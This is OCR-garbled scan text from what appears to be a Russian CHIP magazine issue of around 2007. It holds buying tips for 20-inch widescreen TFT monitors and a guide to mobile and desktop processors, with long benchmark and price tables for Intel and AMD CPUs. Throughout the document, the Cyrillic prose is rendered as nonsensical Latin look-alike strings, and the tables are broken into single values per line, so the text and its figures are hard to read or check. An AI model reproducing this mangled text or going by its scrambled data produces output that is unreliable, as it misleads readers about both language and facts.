
3aMeTHa 

3aMeTHa 

3ai\/ieTHa 



CHIP COBeTbi: 20 -AK>MMOBbie 
TFT-MOHMTopbi c|)opMaTa 16:10 

npoBepxa nepefl noxynxoft 

C Pa3peweHMe 

Byflbie BHMMaie/ibHbi: He Bee 20-flfOMMOBbie 
TFT-MOHmopbi oflHHaKOBbi. He nonaAmecb Ha 
npMMaHKy b BMfle fleiueBbix ycrpoMCTB c HM3- 
kmm pa3peiueHMeM, Hanpi/mep 1440x1050 um- 
ce/ien. flua 20-AfOHMOBoro mnpoKOc|3opMaTHO- 
ro Ancn^e^ npMeMueMbiM AB/ifleicfl 
pa3pemeHne 1680x1050 nMKceueM. 
r BpeMfl OTKiIMKa 

HecMOTp^ Ha to hto b peAOM MaipMpbi crauM 
6bicrpee, y Bcex ynacTHMKOB Tecia Ha6/ifOAa- 
jiacb noiepfl pe3KOcm ABMJKymerocfl M3o6pa- 
>KeHM5i. 3aflA/ibiM rePiMepaM m noKAOHHMKaM 
kmho nepeA noKynKOM cueAyeT npoBepmb, 

CMOryT AM OHM MMpMTbCfl C 3 TMM HeAOCTaTKOM. 

C Pa3"beMbl 

CerOAHflLUHMM MMHMMyM — 3T0 OAM H paSteM 
VGA m oamh nopT DVI. HeKOTopbie moagam MMe- 
fOT Aono/iHMTe/ibHbie BMAeoBxoAbi, Ae/iaKDiAMe 
MX COBMeCTMMbIMM C 6blTOBOM 3/ieKTpOHMKOM. 
riopTbl USB n03B0Jlflf0T M36aBMTbC51 OT AMLUHMX 
npoBOAOB Ha nMCbMeHHOM CTOAe. 

C Bocnpon3BeAeHne HD 
l1oAAep>KKa 3aiAMTbi ot KonMpoBaHMA HDCP 
b 3 tom KAacce mohmtopob noKa BCTpenaeTCfl 
peAKO. Ecjim Bbi xoTMTe CMOTpeTb BLu-ray mam 
HD-DVD, c/ieAyeT Bbi6paTb Dell 2007WFP, LG 
L204WT mjim Samsung 205BW. 

C nopTpeTHafl c|)yHKAMfl «Pivot» 

YHTMTe, HTO AJlfl pa6oTbl B BepTMKa/lbHOM noAO- 
weHMM npMroAHbi mribKO MaipMAbi MVA, PVA m 
IPS. B 3 TOM MO>KHO AerKO y6eAMTbC51, H a K/l 0 H 51 51 
3KpaH BnepeA m Ha3aA- KoHTpacTHocTb AO/i>KHa 
CHM>KaTbC5i paBHOMepHo b o6omx HanpaBAeHM- 
53X. Ec/IM 3TO He T3K, TO peHb MAeT 0 MaTpMLje 
TN, HenpMroAHOM nnn nopTpeTHoro cf)opMaTa. 

KAK Mb I TECTMP0BAJ1M 

BbICOKafl flpKOCTb, XOpOLUafl KOHTpaCTHOCTb, 
paBHOMepH35i noACBeTKa, tohh3a UBeTonepe- 
Aana, lumpokmm yroA o63opa — bot Ba>KHeM- 
mMe noKa3aTe^M KanecTBeHHoro M3o6pa>Ke- 
HMA. B KaTeropMM «3prOHOMMHHOCTb» Mbl 
npoBepaeM yAo6cTBO pa6oTbi c mohmtopom. 
Pery/iMpyeTCfl am ero BbicoTa? JlorMHHa jim 
CT pyKTypa MeHfo (OSD)? Pa3Hoo6pa3Hbie 
pa3-beMbi m TaKMe cnepMaAbHbie om\m KaK 
BCTpoeHHbie AHHaMMKM npMHOCAT Aono/IHM- 
Te/ibHbie 6a/i/ibi 3a ocHameHMe. floKyMeHTa- 
u,m AO/i>KHa 6biTb noHATHOM, noApo6HOM m 
o6ji3aTe^bHo HanenaTaHHOM Ha 6yMare. 



JlyniiiMM npoflyxT 
M OmiiMaJlbHblM Bbl 6 op 


1 NEC Multisync 20WGX2 

MoAe/ib 20WGX2 npoM3BOACTBa NEC 
Display Solutions c bhcokom KOHTpac- 
THOCTbfo i/i otamhhom UBeTonepeAaneM 
Hai/myHLui/iM o6pa30M noAxoAMT AJifl 
npocpeccMOHajibHOM rpacpi/iKi/i, bmaoo- 
M0HTa>Ka l/l pa60Tbl C OCjDMCHbIMM npM- 
n o>Ke h i/i m i/i . 

UeHa, $: 700 



8 Samsung SyncMaster 205BW 

HennoxoM 20-AK)MMOBbiM TFT- 
MOHI/ITOp CTOI/IMOCTbK) nopflAKa 
$450. MaTpMua TN-MOAe/iM 205BW 
AaeT BbicoKyio KOHTpacTHOCTb no 
LuaxiviaTHOM ceTKe; noAAep>KKa HDCP 
AenaeT mohmtop npnroAHbiM aji« 
npocMOTpa Blu-ray mjim HD-DVD. 
UeHa, $; 450 



1 Hew BbiLiie 3HaHeHMe, TeM nyniue 2 HeM hm>k 6 3HaHeHMe, nynwe 
3 He aB/iaeTca peneBaHTHbiM jiysiunM 3HaHeHMeM (cm. TeKCT) 


105 










HBI? TEST & TECHNICS nyTeBOflMTejib no CPU m GPU 

CYnEPTECT: 

150 npoueccopoB 
Ana flK m HoyiOyKOB 


CHIP noMO>KeT CTaTb Mo 6 n/ibHee: HannHasi c aioro HOMepa Hapafly c npoLjeccopaivw m BMfleo- 
ycKopmejiflMM Bbi HawfleTe b nyTeBOflmejie MHcfDopiviaumo m o Mo 6 i/vibHbix peuieHMflx. 


K OMnaHira Intel npOBOAHT ueTKoe 
pa 3 flejieHne Meamy nojib 30 BaTejia- 
mh cneuyioiuero noKOJieHHH: ecjiH 
Core 2 Extreme QX6700, KaK bhaho H 3 
Ha 3 BaHHH, Han;ejieH Ha ceKTOp 3 KCTpe- 
MajiOB, to ero «MjiaAHiHH 6 paT» Core 2 
Quad E6600 6 yaeT HHTepeceH o6bihhbim 

JIKVPIM (c COOTBeTCTByiOmHMH (})HHaH- 
COBBIMH B 03 M 0 XCH 0 CTHMH, pa 3 yMeeTC 5 l). 

PeKOMeHAOBaHHan ctohmoctb b $851 

AOCTaTOHHO BBICO- 
Ka, HO BO BTOpOM 
KBapTajie Intel o6e- 
maeT cymecTBeH- 
Hoe CHHxceHHe ueH 
Ha cbok) npo^yK- 
hhk) — miaHHpy- 
eTcn, hto E6600 
6yAeT ctohtb $530. 
Moiuhocth ue- 
TBipex n^ep aoctatohho, htoGbi bo 
BpeMH nrpBi nopadoTaTB c ocjmcHbi- 
MH npHJIOXeHHHMH, nepeKOAHpOBaTb 
KaKOH-TO H3 jho6hmbix KHHOUiefleB- 
pOB, KpaeM rjia3a jnodyacb noxoame- 
hhhmh JIapBi Kpo(J>T b cjmjibMe, 3ann- 
CaHHOM B (J)OpMaTe BbICOKOH UeTKOCTH. 
O^HaKO ace Rim reHMepOB HaHjiyuniHM 
BBidopOM OKaaceTca, CKOpee Bcero, Apy- 


CHIP peryjinpHO 
npeflJiaraeT HMTaTejiflM 
0530Pbl PbIHKA 
MMetoiiiHxca b npofla>Ke 
npoueccopoB u BMfleo- 
njiaT. HecMOTpa Ha 3 Ha- 
HMTenbHbie 3 aTpaTbi, Mbi 
TecTwpyeM Bee noflBjiHK)- 
U4HeCB HOBMHKM H 06HOB- 
jiaeivi ueHbi MOfle/iew 


toh npoueccop — Core 2 Extreme 
X6800 Bcero c AByMH HApaMH, ho c 
TaKTOBOH naCTOTOH 2933 Mrp. 

Koraa HaKonHTcn CTaTHCTHKa peajib- 
hlix npOAaac, Handojiee nonyjrapHOH 
MoaceT CTaTB GiOAaceTHaa moacjib Intel 
Core 2 Duo E4300. 3 tot npoueccop 
padoTaeT Ha uacTOTe 1800 MEn;. MaKCH- 
MajiBHan TaKTOBan nacTOTa CHCTeMHOH 
mHHBi, KOTOpyio oh noAAepacHBaeT, 
cocTaBjureT 800 Mru (bmccto 1066 MTii 
y Ton-MOAejieH). Ho MHorouHCJieHHbie 
OBepKjiOKepBi 3anacTyio oacnuaiOT HMeH- 
ho AemeBBix pemeHHH, hto6bi 3acTaBHTB 
hx paOoTaTB Ha ypOBHe npoueccopoB 
Gojiee BBicoKoro ueHOBoro AHana30Ha. 
B cjieayiomHx HOMepax Hamero acypHa- 
jiaMBi paccxaaceM 06 Intel Core 2 Duo 
E4300 h B03M03CH0CT5TX ero pa3roHa. 

PacuiMpeHHbie KOHcyjibTaiiMM: 
nnioc Mo6NiibHbie npoueccopbi 

06o3HaueHHH mo6hjibhbix npoueccopoB, 
3anacTyio ouem> noxoacne Apyr Ha Apyra, 
nopOH bboaht b 3a6jiy>KAeHHe HencKy- 
ineHHBix nojn>30BaTejieH h 3aTpyn,HHK)T 
npaBHjiBHBiH Bbidop npH noxynxe Hoyr- 
Gyxa. BpnA jih kto-to c yBepeHHOCTbio 
CKaaceT, npOHHTaB peKjiaMHbin npocneicr, 


ri/iaHbi Bbinycxa npoueccopoB n BMfleo- 
n/iaT fl/in Hoyr6yKOB b 2007 rofly 


I rpatjDMHecKne nunbi ot 
NVIDIA - G84M m G86M, 
paccHmaHHbie Ha hh3ko- 
H CpeflHenp 0 M 3 B 0 flM- 
Te/lbHbie CHCTeMbl 



HTO HAC MflET 

b 2007 row 

Mbi piiCKHyjiM 3anifl- 
HyTb b 6yflymee m yra- 

flaTb, HTO rOTOBBT HaM 
B CKOpOM BpeMeHM 
np0M3B0flMTeJlH CPU 
m GPU. Pa3yMeeTCB, 
BCe 3 TM CBefleHMB He 
no/iTBep)KAeHbi octJu- 

UMa/ibHO. 


KaxoH H3 npoueccopoB paOoTaeT 6 bict- 
pee: AMD Turion X2 TL-60, Intel Core 2 
Duo T5500 hjih, MO^ceT Gbitb, T7400? 
Jlynme BbincHHTb oto 3apaHee, nocKOJib- 
Ky KOHcyjibTaHTbi b Mara3HHax He Bcerna 
6bIBaiOT oOBeKTHBHbl. 

B Hameu TaOjiHue npeACTaBjieHbi Ba>K- 
HeilmHe napaMeTpbi moOhjibhbix npo- 
ueccopoB. /Jjht Tex nojib30BaTejieH, 
KOTOpbiM BaxHa h rpa(j3HHecKan cocTaB- 
junoiuaH 6yuymero jionTona, mbi npeu- 
jiaraeM ocoGbih cepBHc: b Tpex nocjieu- 

HHX KOJIOHKaX npHBeueHbl 3HaueHHH 
npOH3BOAHTeJIbHOCTH CHCTeMbl, KOTOpbie 

AOCTHraiOTcn cooTBeTCTByiomHM npo- 
ueccopOM b nape c BnueouHnoM, yKa3aH- 
hbim b 3arojiOBKe CTOJidua (pa3yMeeTcn, b 
nueajibHbix ycjiOBHHx TecTHpOBaHua). 

B TaOjiHue npeucTaBjieHbi caMbie uacTO 
Hcnojib3yeMbie moacjih rpa(J>HuecKHx 
unnoB — ot HHTerpHpOBaHHbix peme- 
HHH, KOTOpbie HCnOJIb3yiOT CHCTeMHyiO 
onepaTHBHyio naMHTb, h BHueonpouec- 
copoB HanajibHoro ypOBHH (GeForce Go 
7400 h Radeon XI 400) uo npouBHHyrbix 
MoueneH (GeForce Go 7600 h Radeon 
XI 600). npn 3 tom 3HaneHHH MeHbme 
1000 GajuioB cuHTaiOTcn adcojnoTHO 
HenpHTOAHbiMH ajib nrp. npH pe3yjibTa- 
Tax okojio 2000 6ajuiOB moxcho jho 6 o- 
BaTbCH COBpeMeHHbIMH TpeXMepHbIMH 
(JienepBepKaMH, ho b hh 3 kom pa3peme- 
HHH. TpeXMepHbie KapTHHbl bbicokoto 
pa3pemeHHH moxcho 3anycKaTb Ha Hoyr- 
6yxax c ycTaHOBjieHHbiMH pemeHHHMH, 
KOTOpbie HadnpaiOT nopauKa 4000 6aji- 
jiob. KoMdHHauHH, He npeucTaBjieHHbie 
Ha pbIHKe, Mbi OTMeTHJIH B 0630pH0H 
TadjiHue nponepKOM. aai? 
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063op MOdMJibHbix npoueccopoB 


fljw TpefioBaiejibHbix nojib30BaiejieM m reiiMepoB 

Hoyi6yKM c noflo6Hbnvm npoueccopaivm cnoco6Hbi 
CTaTb nOJlHOLjeHHOM 3aMeH0M HaCTOJlbHOMy nK Bbl- 
cokom npoi/i3BOfli/iTenbHOCTi/i, Ha hi/ix 6yflyT 6e3 npo- 
6/ieM 3anycKaTbcyi jiK)6bie i/irpbi. 

YHMBepcajibHbie - fl/ia MyjibTmvieflMa m Biifleo 
3tm KOMnbWTepbi yivieKrr npaKTi/inecKi/i Bee; flawe 
3D-nrpbi Ha hi/ix mo>kho 3anycKaTb, ho 6e3 rapaHTi/m 
BbicoKoro KanecTBa. 


flllfl 0(|]MCHblX npMJ10)K6HMM II pa 60 Tbl C rpaCtJMKOM 

1 /lfleajibHbie npoueccopbi fl/ia Heflopomx Hoyi6y- 
kob, npeflHa 3 HaneHHbix flj in ocJdmchom paftOTbi m 06- 
paCOTKM CjDOTOrpaCjDMM. 

yjibTpaMo6niibHbie - flan oftmca h l/lmepHeTa 

3tm CPU Bpyifl jii/i CMoryT yTOJimb wawfly noBbiweH- 
hom npoi/i3BOfli/iTe/ibHOCTi/i. 3aio ManoMomHbie npo- 
ueccopbi ULV (Ultra Low Voltage) no3BOJiflK)T 6e- 
pe>KHO pacxoflOBaTb SHepmio aKKyMyjiflTopoB. 


Pe3yjibTaTbi pa3- 
JlMHHblX TeCTOB M3 
Ha6opa ocHOBHbix 
npMJ10>KeHMM. 

JlyHLUMM noxa3a- 
Te/ib oueHMBaeTca 
b 100 Oa/uiOB, 
fla/iee pe3yjibiaibi 
npefldaBJieHbi no 
yObiBaHMio. 


CTOMMOCTb npouec- 
copa yBejiMHMBaeicfl 
c poctom ero npoM3- 

BOflMTeJlbHOCTM, M He 
Bcerfla nponopuMO- 
HanbHO. HeMfljiMHHee 
opaHweBaa no/iocKa 
HanpoTMB o6o3Hane- 
hma npoueccopa, TeM 
nyHLue cooTHOLueHMe 
ueHbi m KanecTBa. 



1/IHflEKCbl 
MOBMJlbHblX CPU 


flux TpedOBaienbHbix nonb30Baieneii h retiMepoB 


1 

Intel Core 2 Duo T7600 

Merom 

640 

2 

2333 

4096 

667 (Qp) 

34 

6989 

373 

676 

5203 

550 

2300 

4100 

2 

Intel Core 2 Duo T7400 

Merom 

430 

2 

2166 

4096 

667 (Qp) 

34 

6793 

332 

605 

4833 

540 

2200 

4000 

3 

Intel Core Duo T2600 

Yonah 

420 

2 

2166 

2048 

667 (Qp) 

31 

6257 

319 

590 

4803 

470 

2200 

4000 

4 

Intel Core Duo T2500 

Yonah 

290 

2 

2000 

2048 

667 (Qp) 

31 

5794 

295 

544 

4617 

450 

2100 

3900 

5 

Intel Core 2 Duo T7200 

Merom 

300 

2 

2000 

4096 

667 (Qp) 

34 

5775 

309 

533 

4421 

530 

2100 

3900 

6 

AMD Turion X2 TL-60 

Trinidad 

300 

2 

2000 

512 

1600 (HT) 

35 

5423 

291 

546 

4402 

710 

2100 

3900 

7 

Intel Core 2 Duo T5600 

Merom 

250 

2 

1833 

2048 

667 (Qp) 

34 

5633 

287 

521 

4305 

520 

2000 

3800 


Intel Core 2 Duo T5500 

Merom 

210 

2 

1666 

2048 

667 (Qp) 

34 

5550 

274 

501 

4125 

510 

1900 

3700 

9 Intel Core Duo T2400 

Yonah 

250 

2 

1833 

2048 

667 (Qp) 

31 

5305 

271 

498 

4359 

430 

2000 

3800 


yHHBepcanbHbie npoueccopbi flux MyjibTMMenna h Biweo 


10 

AMD Turion X2 TL-56 

Trinidad 

260 

2 

1800 

1024 

1600 (HT) 

33 

5006 

261 

492 

4235 

680 

2000 

3800 

11 

Intel Core Duo T2250 

Yonah 

180 

2 

1766 

2048 

533 (Qp) 

31 

5077 

258 

476 

4210 

420 

1950 

3750 

12 

Intel Core Duo T2300 

Yonah 

210 

2 

1666 

2048 

667 (Qp) 

31 

4861 

248 

452 

4167 

410 

1900 

3700 

13 

Intel Core Duo L2400 (LV) 

Yonah 

400 

2 

1666 

2048 

667 (Qp) 

15 

4815 

246 

450 

4085 

450 

- 

- 

14 

AMD Turion X2 TL-52 

Trinidad 

220 

2 

1600 

1024 

1600 (HT) 

31 

4462 

236 

440 

4029 

650 

1900 

3700 

15 

Intel Core Duo L2300 (LV) 

Yonah 

350 

2 

1500 

2048 

667 (Qp) 

15 

4612 

231 

422 

3789 

440 

- 

- 

16 

Intel Pentium M 780 

Dothan 

520 

1 

2266 

2048 

533 (Qp) 

27 

4232 

317 

317 

3851 

280 

1300 2 

2400 2 

It 

AMD Turion ML-44 

Lancaster 

300 

1 

2400 

1024 

1600 (HT) 

35 

3907 

347 

347 

3156 

500 

13502 

25002 

18 

Intel Pentium M 770 

Dothan 

440 

1 

2133 

2048 

533 (Qp) 

27 

4092 

297 

297 

3677 

260 

12802 

23802 

19 

AMD Turion ML-40 

Lancaster 

250 

1 

2200 

1024 

1600 (HT) 

35 

3866 

319 

319 

3095 

490 

1320 2 

2470 2 

20 

AMD Turion MT-40 

Lancaster 

230 

1 

2200 

1024 

1600 (HT) 

25 

3864 

318 

318 

3098 

490 

1320 2 

2470 2 

fl 

fix OtpHCHbIX npHflOJKeHKH H padOTbl C rpat|)HKOH 

21 

Intel Pentium M 760 

Dothan 

300 

1 

2000 

2048 

533 (Qp) 

27 

3814 

280 

280 

3535 

240 

12602 

23602 

% 

AMD Turion ML-37 

Lancaster 

180 

1 

2000 

1024 

1600 (HT) 

35 

3562 

291 

291 

3008 

480 

1300 2 

2450 2 

23 

AMD Turion MT-37 

Lancaster 

200 

1 

2000 

1024 

1600 (HT) 

25 

3561 

289 

289 

3010 

480 

1300 2 

2450 2 

24 

Intel Core Solo T1 400 

Yonah 

210 

1 

1833 

2048 

667 (Qp) 

27 

3618 

264 

264 

3329 

220 

- 

- 

25 

Intel Pentium M 750 

Dothan 

250 

1 

1866 

2048 

533 (Qp) 

27 

3620 

263 

263 

3323 

220 

12402 

23402 

26 

AMD Turion MT-34 

Lancaster 

170 

1 

1800 

1024 

1600 (HT) 

25 

3285 

265 

265 

2994 

470 

12702 

24202 

27 

AMD Turion ML-34 

Lancaster 

135 

1 

1800 

1024 

1600 (HT) 

35 

3282 

263 

263 

2966 

470 

1270 2 

2420 2 

28 

Intel Pentium M 740 

Dothan 

140 

1 

1733 

2048 

533 (Qp) 

27 

3318 

243 

243 

3189 

200 

1220 2 

2320 2 

29 

Intel Core Duo U2500 (ULV) 

Yonah 

450 

2 

1066 

2048 

533 (Qp) 

9 

3561 

178 

330 

2733 

210 

- 

- 

30 

Intel Core Solo T1 300 

Yonah 

190 

1 

1666 

2048 

667 (Qp) 

27 

3322 

250 

250 

2633 

210 

- 

- 

31 

Intel Celeron M 430 

Yonah 

90 

1 

1733 

1024 

533 (Qp) 

28 

3391 

229 

229 

2751 

400 

- 

- 

32 

Intel Pentium M 730 

Dothan 

170 

1 

1600 

2048 

533 (Qp) 

27 

3099 

225 

225 

2937 

190 

1200 2 

2300 2 

33 

AMD Turion MT-30 

Lancaster 

150 

1 

1600 

1024 

1600 (HT) 

25 

2914 

233 

233 

2908 

460 

12502 

24002 

34 

AMD Turion ML-30 

Lancaster 

145 

1 

1600 

1024 

1600 (HT) 

35 

2921 

234 

234 

2729 

460 

12502 

24002 

35 

Intel Celeron M 420 

Yonah 

60 

1 

1600 

1024 

533 (Qp) 

28 

3133 

219 

219 

2503 

380 

- 

- 


yjibTpaMo6MjibHbie peuiemtx nun otpnca h MmepHeTa 


36 

Intel Celeron M 380 

Dothan 

70 

1 

1600 

1024 

400 (Qp) 

28 

3052 

225 

225 

2421 

210 

- 

- 


Intel Celeron M 410 

Yonah 

50 

1 

1466 

1024 

533 (Qp) 

28 

2814 

215 

215 

2289 

360 

- 

- 

38 

Intel Pentium M 778 (LV) 

Dothan 

450 

1 

1600 

2048 

400 (Qp) 

10 

3002 

198 

198 

2451 

213 

- 

- 

39 

Intel Pentium M 758 (LV) 

Dothan 

400 

1 

1500 

2048 

400 (Qp) 

10 

2847 

192 

192 

2302 

202 

- 

- 

40 

Intel Celeron M 370 

Dothan 

50 

1 

1500 

1024 

400 (Qp) 

28 

2544 

204 

204 

2178 

200 

- 

- 

41 

Intel Pentium M 773 (ULV) 

Dothan 

400 

1 

1300 

2048 

400 (Qp) 

5,5 

2551 

185 

185 

2179 

190 

- 

- 

42 

Intel Pentium M 753 (ULV) 

Dothan 

350 

1 

1200 

2048 

400 (Qp) 

5,5 

2382 

180 

180 

2087 

180 

- 

- 

43 

Intel Core Solo U1400 (ULV) 

Yonah 

400 

1 

1200 

2048 

533 (Qp) 

5,5 

2396 

179 

179 

2095 

330 

- 

- 

44 

Intel Core Solo U1300 (ULV) 

Yonah 

450 

1 

1066 

2048 

533 (Qp) 

5,5 

2104 

164 

164 

1827 

320 

- 

- 

45 

Intel Celeron M 353 (ULV) 

Dothan 

200 

1 

900 

512 

400 (Qp) 

10 

1182 

56 

56 

922 

- 

- 

- 


■ PeKOMeHflaMMA CHIP 

HT = HyperTransport; Qp = Quadpumped 

1 ModnjibHbie npoqeccopbi b SojibWMHCTBe c/iynaeB He npoAatOTCB OTfle/ibHO. 

2 npopeccopbi MoryT padOTaib TOJibKO c rpacpi/iKOM npeAbiAymero noKO/ieHi/ifl. 
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HBI? TEST & TECHNICS nyTeBOflMTejib no CPU m GPU 

063op CPU a hn HacTOJibHbix nK 


flnfl TpedoBaTe/ibHbix nojib30BaTejiew m rewMepoB 

npocjDeccMOHajibi b odJiacTi/i My/ibTi/iMefli/ia, 3D- 
rpacjDMKM i/i aKdpeiviajibHbie reMMepbi flOJi>KHbi i/ic- 
KaTb cboi/i npoueccopbi b stom pa3fle;ie Ta6nnubi. 
YHMBepcajibHbie npoueccopbi ajih MyiibTmvieAHa 
3ani/icb DVD i/i BOcnpoi/i3BefleHi/ie BMfleocjDaMJiOB Bbi- 
coKoro pa3peweHi/m (flo 1080i) TpedyeT dojibtueM 
moiuhocti/i npopeccopa. OdpaTi/iTe BHi/iMam/ie Ha to, 
HTo6bi 3HepronoTpe6jieHne 6bmo m i/i h i/i m an b h b i m . 


fljifl o 6 pa 6 oTKM BMfleo w cJioto 

Peiyiiii/ipoBaHi/ie ctDOTorpacjoi/m, peflaKTi/ipoBaHi/ie i/i 
nepeKOflnpoBaHne Bi/ifleo, padoTa co 3ByKOM — Bee 
3 to nofl ci/my flaHHbiM npoueccopaM. C i/irpaMi/i ohm 
T aK>Ke cnpaBn5TH3TC5T BnojiHe aoctomho. 

Ann ot|]MCHbix npiinoxceHMM m 1/lHTepHeTa 
Excel, Word, padoTa b 1/lHTepHeie, npoi/irpbmaHi/ie 
My3biKM m BMfleo — jik)6om M3 npeflCTaBJieHHbix 
npoueccopoB cnpaBMTCfl c stmmm 3aflanaMi/i. 


1/lHfleKC 

np 0 M 3 B 0 flMieJlbH 0 CTM 



Pe3yjibTaTbi pa3- CTOMMOCTb npouec- 
JlMHHblX TeCTOB M3 COpa yBeJIMHMBaeTCfl 
Hadopa ocHOBHbix c poctom ero npoi/ 13 - 


npMJ10>KeHMM. BOflMTeJlbHOCTM, M He 
JlyniiiMM noKa3a- Bcerfla nponoppi/io- 
Tenb oueHMBaeicfl HanbHO. HeM fl/iMHHee 
b 100 dannoB, opaH>KeBafl nonocxa 
flanee pe3yn bTaTbi HanpoTMB od03Hane- 
npefldaBJieHbi no hi/ia npopeccopa, TeM 
ydbiBaHMio. Jiyniue cooTHOiueHMe 
ueHbi m KanecTBa. 



MHflEKCbl 

flECKTOn-CPU 

np0M3B0flM- I C00TH0LU6HM6 
TeiibHOCTb Mena/KanecTBO 


flux Tpe6oBaienbHbix nojib30BaiejieM h reftMepoB 


fljifl TPEBOBATEnbHbIX n0Jlb30BATEJ!EM M TEI/IMEPOB 


1 

Intel Core 2 Extreme QX6700 

Kentsfield 

990 

775 

4 

2667 

8192 

1066 (Qp) 

65 

482 

130 

10 004 

448 

1417 

10420 

2 

Intel Core 2 Quad E6600 

Kentsfield 

850 

775 

4 

2400 

8192 

1066 (Qp) 

65 

482 

130 

9895 

417 

1346 

9662 

3 

Intel Core 2 Extreme X6800 

Conroe 

960 

775 

2 

2933 

4096 

1066 (Qp) 

65 

291 

75 

9765 

506 

933 

10133 

4 

Intel Core 2 Duo E6700 

Conroe 

500 

775 

2 

2666 

4096 

1066 (Qp) 

65 

291 

65 

8902 

461 

843 

9507 

B 

Intel Core 2 Duo E6600 

Conroe 

300 

775 

2 

2400 

4096 

1066 (Qp) 

65 

291 

65 

8039 

415 

761 

8834 


yHHBepcanbHbie npoiteccopbi hjix i/iynbTHi/ieflua h Biineo 


6 

AMD Athlon 64 FX-62 

Windsor 

700 

AM2 

2 

2800 

2048 

1000 (HT) 

90 

227 

125 

7744 

398 

745 

7211 

7 

AMD Athlon 64X2 5200+ 

Windsor 

280 

AM2 

2 

2600 

2048 

1000 (HT) 

90 

154 

89 

7314 

370 

693 

7002 

6 

Intel Core 2 Duo E6400 

Allendale 

215 

775 

2 

2133 

2048 

1066 (Qp) 

65 

167 

65 

7176 

369 

679 

7215 

9 

AMD Athlon 64 X2 5000+ 

Windsor 

245 

AM2 

2 

2600 

1024 

1000 (HT) 

90 

154 

89 

7192 

369 

692 

6699 

10 

AMD Athlon 64 X2 5000+ 

Brisbane 

300 

AM2 

2 

2600 

1024 

1000 (HT) 

65 

154 

65 

7171 

369 

692 

6674 

11 

AMD Athlon 64FX-60 

Toledo 

470 

939 

2 

2600 

2048 

1000 (HT) 

90 

233 

110 

7251 

371 

690 

6066 

12 

Intel Pentium XE 965 

Presler 

920 

775 

2 

3733 

4096 

1066 (Qp) 

65 

376 

130 

7050 

327 

692 

6864 

13 

AMD Athlon 64X2 4800+ 

Brisbane 

270 

AM2 

2 

2500 

1024 

1000 (HT) 

65 

154 

65 

6898 

351 

658 

6171 

14 

AMD Athlon 64X2 4600+ 

Windsor 

195 

AM2 

2 

2400 

1024 

1000 (HT) 

90 

154 

89 

6925 

340 

641 

6376 

15 

AMD Athlon 64X2LV4600+ 

Windsor 

200 

AM2 

2 

2400 

1024 

1000 (HT) 

90 

154 

65 

6925 

340 

641 

6376 

16 

Intel Pentium D 960 

Presler 

305 

775 

2 

3600 

4096 

800 (Qp) 

65 

376 

130 

6995 

319 

605 

6572 


flan otpMCHbix npHaoweHHH m pa6oibi c rpatpMKOM 


17 

AMD Athlon 64 X2 4600+ 

Manchester 

230 

939 

2 

2400 

1024 

1000 (HT) 

90 

154 

110 

6681 

342 

640 

5680 

18 

Intel Core 2 Duo E6300 

Allendale 

175 

775 

2 

1866 

2048 

1066 (Qp) 

65 

167 

65 

6319 

325 

601 

6669 

19 

AMD Athlon 64X2 4400+ 

Brisbane 

215 

AM2 

2 

2300 

1024 

1000 (HT) 

65 

154 

65 

6621 

325 

609 

5872 

20 

AMD Athlon 64X2 4200+ 

Windsor 

140 

AM2 

2 

2200 

1024 

1000 (HT) 

90 

154 

89 

6683 

314 

588 

6101 


AMD Athlon 64 X2LV4200+ 

Windsor 

140 

AM2 

2 

2200 

1024 

1000 (HT) 

90 

154 

65 

6683 

314 

588 

6101 

22 

Intel Pentium D 945 

Presler 

160 

775 

2 

3400 

4096 

800 (Qp) 

65 

376 

130 

6783 

301 

553 

6098 

23 

Intel Pentium D 950 

Presler 

240 

775 

2 

3400 

4096 

800 (Qp) 

65 

376 

130 

6742 

300 

551 

6105 

24 

AMD Athlon 64X2 4200+ 

Manchester 

165 

939 

2 

2200 

1024 

1000 (HT) 

90 

154 

89 

6149 

312 

586 

5375 

25 

AMD Athlon 64 X2 4000+ 

Brisbane 

170 

AM2 

2 

2100 

1024 

1000 (HT) 

65 

154 

65 

6321 

298 

556 

5424 

26 

AMD Athlon 64X2 3800+ 

Windsor 

135 

AM2 

2 

2000 

1024 

1000 (HT) 

90 

154 

89 

6419 

284 

535 

5613 

27 

AMD Athlon 64X2LV3800+ 

Windsor 

110 

AM2 

2 

2000 

1024 

1000 (HT) 

90 

154 

65 

6419 

284 

535 

5613 

28 

Intel Pentium D 840 

Smithfield 

500 

775 

2 

3200 

2048 

800 (Qp) 

90 

230 

130 

6010 

283 

528 

5383 

29 

Intel Pentium D 940 

Presler 

200 

775 

2 

3200 

4096 

800 (Qp) 

65 

376 

130 

6029 

282 

492 

5678 

30 

AMD Athlon 64 X2 3800+ 

Manchester 

140 

939 

2 

2000 

1024 

1000 (HT) 

90 

154 

89 

5613 

285 

535 

5000 

31 

Intel Pentium 4 670 

Prescott 

575 

775 

1 

3800 

2048 

800 (Qp) 

90 

169 

115 

5837 

334 

403 

5316 

32 

Intel Pentium D 930 

Presler 

130 

775 

2 

3000 

4096 

800 (Qp) 

65 

376 

95 

5707 

263 

480 

5452 

33 

Intel Pentium D 830 

Smithfield 

265 

775 

2 

3000 

2048 

800 (Qp) 

90 

230 

130 

5667 

264 

488 

5310 

34 

Intel Pentium 4 661 

Prescott 

170 

775 

1 

3600 

2048 

800 (Qp) 

65 

169 

115 

5601 

319 

385 

5209 

35 

Intel Pentium D 920 

Presler 

135 

775 

2 

2800 

4096 

800 (Qp) 

65 

376 

95 

5385 

240 

446 

5147 

36 

Intel Pentium D 915 

Presler 

115 

775 

2 

2800 

4096 

800 (Qp) 

65 

376 

95 

5405 

239 

445 

5132 


yabipaMo6nabHbie pewemw hjix otpaca h MmepHeia 


IE 

AMD Athlon 64 3800+ 

Venice 

80 

939 

1 

2400 

512 

1000 (HT) 

90 

68,5 

89 

4578 

341 

341 

5042 

38 

AMD Athlon 64 4000+ 

San Diego 

95 

939 

1 

2400 

1024 

1000 (HT) 

90 

114 

89 

4611 

340 

340 

4973 

39 

Intel Pentium 4 541 

Prescott 

90 

775 

1 

3200 

1024 

800 (Qp) 

90 

125 

84 

4955 

282 

340 

4811 

40 

AMD Athlon 64 3700+ 

San Diego 

75 

939 

1 

2200 

1024 

1000 (HT) 

90 

114 

89 

4201 

310 

310 

4622 

41 

AMD Athlon 64 3500+ 

Venice 

75 

939 

1 

2200 

512 

1000 (HT) 

90 

68,5 

67 

4166 

310 

310 

4540 

42 

Intel Pentium 4 640 

Prescott 

130 

775 

1 

3200 

2048 

800 (Qp) 

90 

169 

84 

4650 

265 

318 

4408 

43 

AMD Athlon 64 3200+ 

Venice 

55 

939 

1 

2000 

512 

1000 (HT) 

90 

68,5 

67 

3877 

284 

284 

4422 

44 

